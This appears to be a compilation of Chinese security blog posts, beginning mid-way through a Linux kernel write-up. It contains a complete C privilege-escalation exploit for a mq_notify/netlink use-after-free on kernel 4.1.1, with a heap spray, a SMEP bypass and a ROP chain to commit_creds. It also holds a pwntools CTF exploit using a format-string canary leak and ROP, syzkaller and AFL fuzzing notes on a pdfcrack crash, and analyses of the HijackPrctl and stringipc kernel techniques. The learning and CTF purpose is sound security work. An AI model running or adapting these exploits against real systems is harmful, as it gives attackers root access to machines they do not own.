通常用如下gadgets (stack 状态)

addr->pop rdi ; ret
0
addr->prepare_kernel_cred
addr->mov rdi, rax ; ret
addr->commit_creds

或者利用上面的变形
但是在我执行的时候又遇到一个问题,因为rax不为空

Dump of assembler code for function prepare_kernel_cred:
(省略)
   0xffffffff810a1a80 <+32>:    test   rax,rax
=> 0xffffffff810a1a83 <+35>:    je     0xffffffff810a1b78 <prepare_kernel_cred+280>
   0xffffffff810a1a89 <+41>:    test   r12,r12
   0xffffffff810a1a8c <+44>:    mov    rbx,rax
   0xffffffff810a1a8f <+47>:    je     0xffffffff810a1b40 <prepare_kernel_cred+224>
   0xffffffff810a1a95 <+53>:    mov    rdi,r12
   0xffffffff810a1a98 <+56>:    call   0xffffffff810a1a00 <get_task_cred>
   0xffffffff810a1a9d <+61>:    mov    r12,rax
   0xffffffff810a1aa0 <+64>:    mov    rdi,rbx
   0xffffffff810a1aa3 <+67>:    mov    rsi,r12
   0xffffffff810a1aa6 <+70>:    mov    ecx,0x14
   0xffffffff810a1aab <+75>:    rep movs QWORD PTR es:[rdi],QWORD PTR ds:[rsi]
   0xffffffff810a1aae <+78>:    mov    DWORD PTR [rbx],0x1
   0xffffffff810a1ab4 <+84>:    mov    rax,QWORD PTR [rbx+0x78]
   0xffffffff810a1ab8 <+88>:    inc    DWORD PTR ds:[rax]
   0xffffffff810a1abb <+91>:    mov    rax,QWORD PTR [rbx+0x80]
   0xffffffff810a1ac2 <+98>:    test   rax,rax
   0xffffffff810a1ac5 <+101>:    je     0xffffffff810a1ace <prepare_kernel_cred+110>
   0xffffffff810a1ac7 <+103>:    inc    DWORD PTR ds:[rax+0xc0]
   0xffffffff810a1ace <+110>:    mov    rax,QWORD PTR [rbx+0x88]
   0xffffffff810a1ad5 <+117>:    inc    DWORD PTR ds:[rax]
   0xffffffff810a1ad8 <+120>:    mov    edx,0xd0
   0xffffffff810a1add <+125>:    mov    QWORD PTR [rbx+0x50],0x0
   0xffffffff810a1ae5 <+133>:    mov    QWORD PTR [rbx+0x58],0x0
   0xffffffff810a1aed <+141>:    mov    QWORD PTR [rbx+0x60],0x0
   0xffffffff810a1af5 <+149>:    mov    QWORD PTR [rbx+0x68],0x0
   0xffffffff810a1afd <+157>:    mov    rsi,r12
   0xffffffff810a1b00 <+160>:    mov    BYTE PTR [rbx+0x48],0x1
   0xffffffff810a1b04 <+164>:    mov    QWORD PTR [rbx+0x70],0x0
   0xffffffff810a1b0c <+172>:    mov    rdi,rbx
   0xffffffff810a1b0f <+175>:    call   0xffffffff813478d0 <security_prepare_creds>
   0xffffffff810a1b14 <+180>:    test   eax,eax
   0xffffffff810a1b16 <+182>:    js     0xffffffff810a1b58 <prepare_kernel_cred+248>
   0xffffffff810a1b18 <+184>:    dec    DWORD PTR ds:[r12]
   0xffffffff810a1b1d <+189>:    je     0xffffffff810a1b30 <prepare_kernel_cred+208>
   0xffffffff810a1b1f <+191>:    mov    rax,rbx
   0xffffffff810a1b22 <+194>:    pop    rbx
   0xffffffff810a1b23 <+195>:    pop    r12
   0xffffffff810a1b25 <+197>:    pop    rbp
   0xffffffff810a1b26 <+198>:    ret    
   0xffffffff810a1b27 <+199>:    nop    WORD PTR [rax+rax*1+0x0]
   0xffffffff810a1b30 <+208>:    mov    rdi,r12
   0xffffffff810a1b33 <+211>:    call   0xffffffff810a1540 <__put_cred>
   0xffffffff810a1b38 <+216>:    mov    rax,rbx
   0xffffffff810a1b3b <+219>:    pop    rbx
   0xffffffff810a1b3c <+220>:    pop    r12
   0xffffffff810a1b3e <+222>:    pop    rbp
   0xffffffff810a1b3f <+223>:    ret    
(省略)
   0xffffffff810a1b78 <+280>:    xor    eax,eax
   0xffffffff810a1b7a <+282>:    jmp    0xffffffff810a1b3b <prepare_kernel_cred+219>
(省略)
End of assembler dump.

因为rax的原因,没有正确执行prepare_kernel_creds,因此还需要加一条gadgets

开始找的iret gadget并不能运行成功,不知道为啥,在im0963老哥的提示下,换了一条gadgets解决了

exploit:这份exploit在linux kernel 4.1.1上面测试成功了,内核不同,可能需要改一些偏移

#gcc exploit.c -lpthread -static -o exploit
#define _GNU_SOURCE
#include <asm/types.h>
#include <mqueue.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <pthread.h>
#include <errno.h>
#include <stdbool.h>
#include <sys/un.h>
#include <sys/mman.h>

#define MAX_MSGSIZE 1024
#define SOL_NETLINK (270)
#define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)

struct state
{
    int ok;
    int fd;
    int close_fd;
}state;

struct u_wait_queue{
    unsigned int flag;
    long* pri;
    long* func;
    long* next;
    long* prev;
};
#define KERNCALL __attribute__((regparm(3)))

void ( * commit_creds )(void *) KERNCALL ;
size_t* (* prepare_kernel_cred)(void *) KERNCALL ;

void getroot(){
    commit_creds = 0xffffffff810a1720 ;
    prepare_kernel_cred = 0xffffffff810a1a60;
    size_t cred = prepare_kernel_cred(0);
    commit_creds(cred);
}
void getshell(){
    system("/bin/sh");
}
unsigned long user_cs, user_ss, user_eflags,user_sp    ;
void save_stats() {
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %3\n"
        "pushfq\n"
        "popq %2\n"
        :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
         :
         : "memory"
     );
}
int add_rmem_alloc(void){
    int fd1 = -1;
    int fd2 = -1;
    fd1 = socket(AF_NETLINK,SOCK_RAW,2);
    fd2 = socket(AF_NETLINK,SOCK_DGRAM,2);
    struct sockaddr_nl nladdr;
    nladdr.nl_family = AF_NETLINK;
    nladdr.nl_groups = 0;
    nladdr.nl_pad = 0;
    nladdr.nl_pid = 10;
    bind(fd1,(struct sockaddr*)&nladdr,sizeof(struct sockaddr_nl));

    struct msghdr msg;
    struct sockaddr_nl r_nladdr;
    r_nladdr.nl_pad = 0;
    r_nladdr.nl_pid = 10;
    r_nladdr.nl_family = AF_NETLINK;
    r_nladdr.nl_groups = 0;
    
    memset(&msg,0,sizeof(msg));
    msg.msg_name = &r_nladdr; /*address of receiver*/
    msg.msg_namelen = sizeof(nladdr);
    /* message head */
    char buffer[] = "An example message";
    struct nlmsghdr *nlhdr;
    nlhdr = (struct nlmsghdr*)malloc(NLMSG_SPACE(MAX_MSGSIZE));
    strcpy(NLMSG_DATA(nlhdr),buffer);
    nlhdr->nlmsg_len = NLMSG_LENGTH(strlen(buffer));/*nlmsghdr len + data len*/
    nlhdr->nlmsg_pid = getpid();  /* self pid */
    nlhdr->nlmsg_flags = 0;

    struct iovec iov;
    iov.iov_base = nlhdr;
    iov.iov_len = nlhdr->nlmsg_len;
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;
    
    while (sendmsg(fd2, &msg, MSG_DONTWAIT)>0) ;
    if (errno != EAGAIN)
    {
        perror("sendmsg");
        exit(-5);
    }
    printf("[*] sk_rmem_alloc > sk_rcvbuf ==> ok\n");
    return fd1;
    
    return 0;    
}
static void *thread2(struct state *s){
    int fd = s->fd;
    s->ok = 1;
    sleep(3);
    close(s->close_fd);
    int optval = 1;
    if(setsockopt(fd,SOL_NETLINK,NETLINK_NO_ENOBUFS,&optval,4)){
        perror("setsockopt ");
    }
    else{
        puts("[*] wake up thread 1");
    }
}
void tiger(int fd){
    pthread_t pid;
    struct state s;
    s.ok = 0;
    s.fd = fd;
    s.close_fd = dup(fd);
    if(errno = pthread_create(&pid,NULL,thread2,&s)){
        perror("pthread_create ");
        exit(-1);
    }  
    while(!(s.ok));
    puts("[*] mq_notify start");
    struct sigevent sigv;
    sigv.sigev_signo = s.close_fd;
    sigv.sigev_notify = SIGEV_THREAD;
    sigv.sigev_value.sival_ptr = "test";
    _mq_notify((mqd_t)0x666,&sigv);
    puts("ok");
}
struct thread3_arg
{
    int send ;
    int fd;
    struct msghdr *msg;
    int flag;
};
static void *thread3(struct thread3_arg *arg){
    sendmsg(arg->fd,arg->msg,0);
}
void heap_spray(int nlk_fd){
    int sfd = -1;
    int rfd = -1;
    sfd = socket(AF_UNIX,SOCK_DGRAM,0);
    rfd = socket(AF_UNIX,SOCK_DGRAM,0);
    if (rfd<0||sfd<0){
        perror("heap spray socket");
        exit(-1);
    }
    printf("send fd : %d\nrecv fd : %d\n",sfd,rfd);

    char *saddr = "@test";
    struct sockaddr_un serv;
    serv.sun_family = AF_UNIX;
    strcpy(serv.sun_path,saddr);
    serv.sun_path[0] = 0;    
    if(bind(rfd,(struct sockaddr*)&serv,sizeof(serv))){
        perror("heap spray bind");
        exit(-1);
    }
    if(connect(sfd,(struct sockaddr*)&serv,sizeof(serv))){
        perror("heap spray bind");
        exit(-1);
    }

    struct msghdr msg;
    memset(&msg,0,sizeof(msg));
    struct iovec iov;
    char iovbuf[10];
    iov.iov_base = iovbuf;
    iov.iov_len = 10;
    char buf[1024];
    memset(buf,0x41,1024);
    struct cmsghdr *pbuf;
    pbuf = (struct cmsghdr*)buf;
    pbuf->cmsg_len = 1024;
    pbuf->cmsg_level = 0;
    pbuf->cmsg_type = 1;
    *(unsigned int*)((char*)buf+0x2b0) = 0x12345678;/*portid*/
    *(unsigned long*)((char*)buf+0x2c8) = 0;       /*groups*/
    struct u_wait_queue uwq;   /*在用户空间伪造的u_wait_queue_t*/
    memset(&uwq,0x66,sizeof(uwq));
    uwq.flag = 0x01;
    //uwq.func = 0xdeadbeefdeadbeef;
    uwq.func = 0xffffffff81000085; /* swapgs ; ret; addr*/
    uwq.next = &(uwq.next);
    uwq.prev = &(uwq.next);
    printf("buf : %p\nuwq : %p\n",buf,&(uwq.next));
    *(unsigned long*)((char*)buf+0x2e8) = (void*)(&(uwq.next));/*覆盖netlink_sock->wait->tasklist.next,为用户空间fake uwq的next地址*/
    //*(unsigned long*)((char*)buf+0x2f0) = (void*)0x4444444444444444;
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;
    //msg.msg_controllen = 0;
    /*下面是伪造栈,通过xchg,迁移过来*/
    size_t *p = ((unsigned int)&uwq)&0xffffffff;
    size_t *ptmp = p-0x20;
    mmap(ptmp, 0x200, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    /*
    0xffffffff8100abde : pop rax ; ret
    0xffffffff811b265d : pop rdi ; ret
    0xffffffff8105c144 : pop rbx ; ret
    0xffffffff813b3eba : mov rdi, rax ; call rbx
    commit_creds = 0xffffffff810a1720 ;
    prepare_kernel_cred = 0xffffffff810a1a60;
    */
    int r = 0;
    p[r++] = 0xffffffff811b265d ;// pop rdi ; ret
    p[r++] = 0x6f0;
    p[r++] = 0xffffffff810031bd ;// mov cr4, rdi ; pop rbp ; ret
    p[r++] = (unsigned long)p+0x100;
    p[r++] = 0xffffffff8100abde;
    p[r++] = 0;
    p[r++] = 0xffffffff811b265d;
    p[r++] = 0;
    p[r++] = 0xffffffff810a1a60; //prepare_kernel_cred
    p[r++] = 0xffffffff8133ff34 ;// mov rdi, rax ; mov rax, rdi ; pop rbx ; pop rbp ; ret
    p[r++] = 0;
    p[r++] = (unsigned long)p+0x100;
    p[r++] = 0xffffffff810a1720;
    p[r++] = 0xffffffff81063d54 ;// swapgs ; pop rbp ; ret
    p[r++] = p+0x100;
    p[r++] = 0xffffffff811b265d;
    p[r++] = getshell;
    p[r++] = 0xffffffff818410c7 ; // iretd ; call rdi
    p[r++] = (unsigned long)getshell;
    p[r++] = user_cs;
    p[r++] = user_eflags;
    p[r++] = (unsigned long)p;
    p[r++] = user_ss;
    p[r++] = 0xdeadbeefdeadbeef;
    p[r++] = 0xdeadbeefdeadbeef;
    p[r++] = 0xdeadbeefdeadbeef;
    p[r++] = 0xdeadbeefdeadbeef;

    struct timeval tv;
    memset(&tv,0,sizeof(tv));
    tv.tv_sec = 0;
    tv.tv_usec = 0;
    if(setsockopt(rfd,SOL_SOCKET,SO_SNDTIMEO,&tv,sizeof(tv))){
        perror("heap spary setsockopt");
        exit(-1);
    }
    puts("set timeo ==> ok");
    while(sendmsg(sfd,&msg,MSG_DONTWAIT)>0);
    if (errno != EAGAIN)
    { 
        perror("[-] sendmsg");
        exit(-1);
    }
    puts("sk_wmem_alloc > sk_snfbuf");
    puts("[*] ==> sendmsg");
    msg.msg_control = buf;
    msg.msg_controllen = 1024;
    struct thread3_arg t3;
    t3.fd = sfd;
    t3.send = 0;
    t3.flag = 0;
    t3.msg = &msg;
    int i = 0;
    pthread_t pid;
    //sendmsg(sfd,&msg,0);
    for(i=0;i<10;i++){
        if(errno = pthread_create(&pid,NULL,thread3,&t3)){
            perror("pthread_create ");
            exit(-1);
        }      
    } 
}


int main(){
    int fd = -1;
    save_stats();//save cs ss rflags;
    fd = add_rmem_alloc();// 
    tiger(fd);
    tiger(fd);
    heap_spray(fd);
    sleep(2);
    struct sockaddr_nl j_addr;
    int j_addr_len = sizeof(j_addr);
    memset(&j_addr, 0, sizeof(j_addr));
    if(getsockname(fd,(struct sockaddr*)&j_addr,&j_addr_len)){
        perror("getsockname ");
    }
    printf("portid : %x\n",j_addr.nl_pid);
    puts("ok");
    int optval = 1;
    printf("user_cs : %x\nuser_rflags : %x\nuser_ss : %x\n",user_cs,user_eflags,user_ss);
    setsockopt(fd,SOL_NETLINK,NETLINK_NO_ENOBUFS,&optval,5);
    close(fd);
    return 0;
}

西湖论剑杯 - story

分析


首先在input id的时候发现了存在格式化字符串漏洞


在输入story的时候出现栈溢出


而且程序开启了各种保护,存在canary,got表不能改写

思路

存在canary可以通过格式化字符串leak得到,又因为存在栈溢出,可以通过rop,泄露函数地址从而获取对应的libc版本,并且可以得到system函数地址或者使用onegadget

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = "debug"
#p = process(["./story"],env={"LD_PRELOAD":"./libc"})
#p = process("./story")
p = remote("ctf2.linkedbyx.com",10895)
def debug():
    gdb.attach(p,"b *0x4009a0")
    raw_input("debug")
p.recvuntil("Please Tell Your ID:")
p.sendline("%15$p")
p.recvuntil("Hello 0x")
canary = int(p.recv(16),16)
p.recvuntil("Tell me the size of your story:\n")
prr = 0x0000000000400bd3
payload = "a"*0x88+p64(canary)+"a"*8+p64(prr)+p64(0x601fa8)+p64(0x400720)+p64(0x400876)
p.sendline("500")
p.recv()
p.sendline(payload)
p.recv(1)

puts = u64(p.recv(6).ljust(8,"\x00"))
log.info("puts : %x"%puts)
#debug()
p.recv()
p.sendline("test")
p.recv()
p.sendline("500")

poff = 0x06f690
system = puts - poff +0x045390
bin = puts - poff + 0x18cd57
pay = "b"*0x88+p64(canary)+"a"*8+p64(prr)+p64(bin)+p64(system)
p.recv()
p.sendline(pay)

p.interactive()

折腾syzkaller过程中遇到的一些问题

qemu版本问题

使用低版本qemu 出现Failed to set MSR....,等问题,换用了qemu 3.1就可解决

qemu虚拟机

出现非ok的情况,比如network interface启动失败
这可能是编译内核的时候配置文件配置的问题,按照官方文档把所有的都启用就可以了

内存

如果你像我一样用的win+vm(ubuntu+(qemu))这中结构的话,一定要给ubuntu足够的内存,我的电脑8g,分给ubuntu 4g

fuzzer实例失去连接,或者提示内存不足

一般是syzkaller 启动的config文件里面开启了开多的vm,而且分配的内存太大导致
我的config文件

{
    "target": "linux/amd64",
    "http": "127.0.0.1:56741",
    "workdir": "/home/kaka/syzkaller/workdir",
    "kernel_obj": "/home/kaka/kernel/linux-4.13",
    "image": "/home/kaka/syzkaller/src/github.com/google/syzkaller/tools/stretch.img",
    "sshkey": "/home/kaka/syzkaller/src/github.com/google/syzkaller/tools/stretch.id_rsa",
    "syzkaller": "/home/kaka/syzkaller/src/github.com/google/syzkaller",
    "procs": 8,
    "type": "qemu",
    "vm": {
        "count": 2,
        "kernel": "/home/kaka/kernel/linux-4.13/arch/x86/boot/bzImage",
        "cpu": 2,
        "mem": 1024
    }
}

使用afl-fuzz 发现pdfcrack漏洞(新手文章)

看这篇文章之前可以先阅读一下这篇文章 AFL漏洞挖掘技术漫谈(一):用AFL开始你的第一次Fuzzing

准备

  • afl-fuzz 2.5.2
  • pdfcrack source 0.16
  • ubuntu 18.04

编译

首先对pdfcrack source进行编译,编译的时候我们尽量采用afl自带的gcc进行编译,afl-gcc在编译时可以进行插桩,使用如下命令:

CC=afl-gcc make

此时pdfcrack已经可以使用了

kaka@kaka-virtual-machine:~/pdfcrack$ ./pdfcrack-0.16/pdfcrack 
Usage: ./pdfcrack-0.16/pdfcrack -f filename [OPTIONS]
OPTIONS:
-b, --bench        perform benchmark and exit
-c, --charset=STRING    Use the characters in STRING as charset
-w, --wordlist=FILE    Use FILE as source of passwords to try
-n, --minpw=INTEGER    Skip trying passwords shorter than this
-m, --maxpw=INTEGER    Stop when reaching this passwordlength
-l, --loadState=FILE    Continue from the state saved in FILENAME
-o, --owner        Work with the ownerpassword
-u, --user        Work with the userpassword (default)
-p, --password=STRING    Give userpassword to speed up breaking
            ownerpassword (implies -o)
-q, --quiet        Run quietly
-s, --permutate        Try permutating the passwords (currently only
            supports switching first character to uppercase)
-v, --version        Print version and exit

该软件可以对已加密的pdf进行破解密码

afl自带的testcase里面也已经自带了pdf样本

/testcases/others/pdf/small.pdf

先用pdfcrack测试一下这个样本,发现报错了

kaka@kaka-virtual-machine:~/pdfcrack$ ./pdfcrack-0.16/pdfcrack /home/kaka/afl-2.52b/testcases/others/pdf/small.pdf
Error: Encryption not detected (is the document password protected?)

报错提示我们这是一个没有密码保护的pdf文件,我们可以通过一些在线的pdf加密的网站对该文件进行加密。

准备fuzz

首先建立两个文件夹---输入,输出文件夹,我这里命名为in,out
此时的目录结构

kaka@kaka-virtual-machine:~/pdfcrack$ ls -l
total 28
drwxrwxr-x 2 kaka kaka 4096 12月 29 10:27 in
drwxrwxr-x 5 kaka kaka 4096 12月 29 10:34 out
drwxrwxr-x 5 kaka kaka 4096 12月 29 10:34 out1
drwxr-xr-x 4 kaka root 4096 12月 28 16:54 pdfcrack-0.16
-rw------- 1 kaka kaka 1274 12月 28 19:06 p.pdf

(多出来的out1是我做其他测试用的,p.pdf是已经有密码保护的pdf文件)

在这里我直接对程序进行fuzz,发现过了好久都没有发生崩溃,再回顾一下上面程序所展示的一些功能,这个参数引起了注意

-l, --loadState=FILE    Continue from the state saved in FILENAME

意思差不多是如果一次恢复密码没有完成的话,可能会产生一个中间文件,下次可以直接load这个文件,继续上次的任务。

这样我们先测试一下,需要注意的是,在对pdf文件进行加密的时候,尽量密码选择的稍微复杂一点,要不然在破解密码的时候,还没来得及按CTRL+c,就已经破解完了。

kaka@kaka-virtual-machine:~/pdfcrack$ ./pdfcrack-0.16/pdfcrack p.pdf 

PDF version 1.6
Security Handler: Standard
V: 2
R: 3
P: -4
Length: 128
Encrypted Metadata: True
FileID: bf009c4d37b7fbbf18a17a2e0ab6e4ba
U: 534a8f91a56dbccdce2886f6ab041f5f28bf4e5e4e758a4164004e56fffa0108
O: 09bb0b88f5eeb18f87b82246a416c481a0877462a4cb401676f49569404c7a0a

程序在这个状态停留了一会,我们可以选择在此时,停止破解

U: 534a8f91a56dbccdce2886f6ab041f5f28bf4e5e4e758a4164004e56fffa0108
O: 09bb0b88f5eeb18f87b82246a416c481a0877462a4cb401676f49569404c7a0a
^CCaught signal 2!
Trying to save state...
Successfully saved state to savedstate.sav!
kaka@kaka-virtual-machine:~/pdfcrack$ ls -l
total 28
drwxrwxr-x 2 kaka kaka 4096 12月 29 10:27 in
drwxrwxr-x 5 kaka kaka 4096 12月 29 10:44 out
drwxrwxr-x 5 kaka kaka 4096 12月 29 10:44 out1
drwxr-xr-x 4 kaka root 4096 12月 28 16:54 pdfcrack-0.16
-rw------- 1 kaka kaka 1274 12月 28 19:06 p.pdf
-rw-rw-r-- 1 kaka kaka  583 12月 29 10:44 savedstate.sav

程序自动生成了一个.sav文件,可以在当前目录下看到

然后使用 -l 参数确实可以继续破解

我们把这个sav文件放到in/文件夹内,使用下面的命令就可以开始fuzz了

在此之前先执行

echo core >/proc/sys/kernel/core_pattern
afl-fuzz -i in/ -o out/  ./pdfcrack-0.16/pdfcrack -l @@

但是又出现了

[-] PROGRAM ABORT : Test case 'id:000000,orig:s1.sav' results in a timeout
         Location : perform_dry_run(), afl-fuzz.c:2777

推测程序执行可能超时了,再加上 -t 参数

afl-fuzz -i in/ -o out/ -t 5000  ./pdfcrack-0.16/pdfcrack -l @@

这样就可以正常执行了

alt

关于cpu占用率:因为afl只占用一个cpu逻辑内核,所以不会占用太高,因此可以开多个afl进行并行测试。

等一会就会发现崩溃了

崩溃的文件会存放在out/crash/文件夹中

分析

取一个文件重命名为test,作为例子进行简略分析

kaka@kaka-virtual-machine:~/pdfcrack$ cp out/crashes/id\:000000\,sig\:11\,src\:000000\,op\:flip1\,pos\:12 test
kaka@kaka-virtual-machine:~/pdfcrack$ ./pdfcrack-0.16/pdfcrack -l test 
Loaded state for test
PDF version 1.6
Security Handler: dard
O: 
V: 2
R: 7
P: -4
Length: 128
Encrypted Metadata: True
FileID: bf009c4d37b7fbbf18a17a2e0ab6e4ba
U: 534a8f91a56dbccdce2886f6ab041f5f28bf4e5e4e758a4164004e56fffa0108
O: 09bb0b88f5eeb18f87b82246a416c481a0877462a4cb401676f49569404c7a0a
Segmentation fault

确实出现了段错误

利用gdb分析

pwndbg> bt
#0  0x0000000000000000 in ?? ()
#1  0x000000000040ff99 in runCrackRev3 () at pdfcrack.c:418
#2  0x0000000000412945 in runCrack () at pdfcrack.c:556
#3  0x0000000000402505 in main (argc=argc@entry=3, argv=argv@entry=0x7fffffffde08) at main.c:309
#4  0x00007ffff7a2d830 in __libc_start_main (main=0x4012f0 <main>, argc=3, argv=0x7fffffffde08, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffddf8) at ../csu/libc-start.c:291
#5  0x00000000004030e9 in _start ()

通过bt发现访问到一个空指针

In file: /home/kaka/pdfcrack/pdfcrack-0.16/md5.c
   328   else
   329     md5_50_variant = &md5_50s;
   330 }
   331 
   332 void
 ► 333 md5_50(uint8_t *msg, const unsigned int msgLen) {
   334   md5_50_variant(msg, msgLen);
   335 }
─────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffda58 —▸ 0x40ff99 (runCrackRev3+313) ◂— mov    rcx, qword ptr [rip + 0x2164f8]
01:0008│      0x7fffffffda60 —▸ 0x6282c0 ◂— 0xbffbb7374d9c00bf
02:0010│      0x7fffffffda68 ◂— 0x0
03:0018│ rdi  0x7fffffffda70 ◂— 0x955d1951d4792cb7
04:0020│      0x7fffffffda78 ◂— 0x36a3a3da42528292
05:0028│      0x7fffffffda80 ◂— 0x2
06:0030│      0x7fffffffda88 ◂— 0x0
... ↓
───────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────
 ► f 0           40ab5a md5_50+58
   f 1           40ff99 runCrackRev3+313
   f 2           412945 runCrack+309
   f 3           402505 main+4629
   f 4     7ffff7a2d830 __libc_start_main+240
pwndbg> p md5_50_variant 
$1 = (void (*)()) 0x0
pwndbg> hexdump $rip+0x21b8e0
+0000 0x62643a  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │....│....│....│....│
...
+0020 0x62645a  00 00 00 00  00 00 01 00  00 00 00 00  00 00 00 00  │....│....│....│....│
+0030 0x62646a  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │....│....│....│....│

程序在jmp的时候访问到了一个空指针导致程序崩溃。

结合源码可知,此处应该调用md5_50_variant函数,但是该函数指针为0导致出现段错误

相关链接:http://tudr.thapar.edu:8080/jspui/bitstream/10266/4500/4/4500.pdf

HijackPrctl 技术分析&&solid_core&&stringipc

0x1 原理

先写一个简单的prctl函数调用的程序,跟踪一下prctl调用流程

#include <stdio.h> 
#include <sys/prctl.h>

int main(){
    prctl(PR_SET_NAME,"TRACE_PRCTL");
    puts("ok");
    return 0;
}

使用gdb 在security_task_prctl函数处断下来

linux kernel 4.4.10 /security/security.c

int security_task_prctl(int option, unsigned long arg2, unsigned long arg3,
             unsigned long arg4, unsigned long arg5)
{
    int thisrc;
    int rc = -ENOSYS;
    struct security_hook_list *hp;

    list_for_each_entry(hp, &security_hook_heads.task_prctl, list) {
        thisrc = hp->hook.task_prctl(option, arg2, arg3, arg4, arg5);
        if (thisrc != -ENOSYS) {
            rc = thisrc;
            if (thisrc != 0)
                break;
        }
    }
    return rc;
}

发现security_task_prctl 最终调用的 hp->hook.task_prctl

在汇编里面可以看到 使用 call QWORD PTR [rbx+0x18]

因此可以通过修改这个值,实现任意函数(6个参数以内)调用,但是还存在一个问题,第一个参数option的类型是int型

因此当我们传入一个64位的值,这个参数就不能用了(smap禁止访问用户空间数据),但是在32位下是没问题的。

32位下利用流程:借鉴看雪以为师傅文章中的思路(基于覆盖vdso的变形):

  • 劫持hp->hook.task_prctl,将其修改为set_memory_rw函数地址。
  • 获得vdso映射地址
  • 调用prctl,修改vdso映射区权限
  • 向vdso写入shellcode
  • 高权限进程调用

64位?call_usermodehelper函数

call_usermodehelper函数是内核运行用户程序的一个api,并且该程序有root的权限(关于这个函数具体的用法我也说不清楚了,自行谷歌吧),但是将task_prctl函数地址修改为call_usermodehelper也是不可行的,因此call_usermoderhelper第一个参数也是64位的,而且要求是完整路径比如("/bin/sh"),但是内核里面有几处函数,调用了这个函数,可以直接用的就是这个函数run_cmd

static int run_cmd(const char *cmd)
{
    char **argv;
    static char *envp[] = {
        "HOME=/",
        "PATH=/sbin:/bin:/usr/sbin:/usr/bin",
        NULL
    };
    int ret;
    argv = argv_split(GFP_KERNEL, cmd, NULL);
    if (argv) {
        ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
        argv_free(argv);
    } else {
        ret = -ENOMEM;
    }

    return ret;
}

内核中引用run_cmd的函数,可以发现poweroff_cmd跟reboot_cmd定义的方法是不一样的,poweroff_cmd是可以被修改的

char poweroff_cmd[POWEROFF_CMD_PATH_LEN] = "/sbin/poweroff";
static const char reboot_cmd[] = "/sbin/reboot";

static int run_cmd(const char *cmd)
{
    char **argv;
    static char *envp[] = {
        "HOME=/",
        "PATH=/sbin:/bin:/usr/sbin:/usr/bin",
        NULL
    };
    int ret;
    argv = argv_split(GFP_KERNEL, cmd, NULL);
    if (argv) {
        ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
        argv_free(argv);
    } else {
        ret = -ENOMEM;
    }

    return ret;
}

static int __orderly_reboot(void)
{
    int ret;

    ret = run_cmd(reboot_cmd);

    if (ret) {
        pr_warn("Failed to start orderly reboot: forcing the issue\n");
        emergency_sync();
        kernel_restart(NULL);
    }

    return ret;
}

static int __orderly_poweroff(bool force)
{
    int ret;

    ret = run_cmd(poweroff_cmd);

    if (ret && force) {
        pr_warn("Failed to start orderly shutdown: forcing the issue\n");

        /*
         * I guess this should try to kick off some daemon to sync and
         * poweroff asap.  Or not even bother syncing if we're doing an
         * emergency shutdown?
         */
        emergency_sync();
        kernel_power_off();
    }

    return ret;
}

64位利用流程

  • 任意写(局部任意写)
  • 找到vdso地址,计算内核基地址
  • 修改poweroff_cmd为自己的命令
  • 修改task_prctl为orderly_poweroff地址
  • 调用prctl函数

stringipc

stringipc这个题目是任意地址读,上一篇文章也已经分析了,因此也可以采用这种方法。

task_prctl函数偏移

csaw-2015-stringipc 从任意读到权限提升

不知道为啥在分析这个题的时候,ida在反汇编时伪c出现大量错误。
这个题是学习linux kernel 从任意读到权限提升一个很好的例子,本文一共介绍三种方式
本文只提供方法,具体的exp还是要根据不同的内核版本来写,比如在写vdso gettimeofday的时候,不同版本的内核,函数的偏移可能不同.

checksec

kaka@kaka-virtual-machine:~/kernelpwn/stringipc/core$ checksec stringipc.ko 
[*] '/home/kaka/kernelpwn/stringipc/core/stringipc.ko'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x0)

在start.sh中还可以发现开启了smep,smap。

漏洞分析

(ida反编译有错,已在注释中改正)漏洞出现在v9 = krealloc(result->data, v8 + 1, 37748928LL)这个地方,当krealloc返回不为0时,会重新更改chennel结构的一些值。
krealloc的定义

void *krealloc(const void *p, size_t new_size, gfp_t flags)
{
    void *ret;

    if (unlikely(!new_size)) {
        kfree(p);
        return ZERO_SIZE_PTR;
    }

    ret = __do_krealloc(p, new_size, flags);
    if (ret && p != ret)
        kfree(p);

    return ret;
}
EXPORT_SYMBOL(krealloc);

可知,当new_size不为0时,会返回ZERO_SIZE_PTR
#define ZERO_SIZE_PTR ((void *)16)
也就意味着,当我们传入的new_size=0时,会返回0x10,因此会更新channel结构的data,buf_size字段。当new_size=v8+1=0时,v8=-1,因为v8是size_t类型(unsigned long long),因此v8的值是0xffffffffffffffff,这个值作为了新的buf_size.因此对于这个buf具有了任意地址读写的能力。

利用分析

修改cred结构体

通过修改cred结构体是在提权中的惯用套路,但是如何确定cred的位置?p4nda师傅的博客里介绍了一种方法,重温一下task_struct结构(部分代码)

struct task_struct{
/* process credentials */
    const struct cred __rcu *ptracer_cred; /* Tracer's credentials at attach */
    const struct cred __rcu *real_cred; /* objective and real subjective task
                     * credentials (COW) */
    const struct cred __rcu *cred;    /* effective (overridable) subjective task
                     * credentials (COW) */
    char comm[TASK_COMM_LEN]; /* executable name excluding path
                     - access with [gs]et_task_comm (which lock
                       it with task_lock())
                     - initialized normally by setup_new_exec */
}

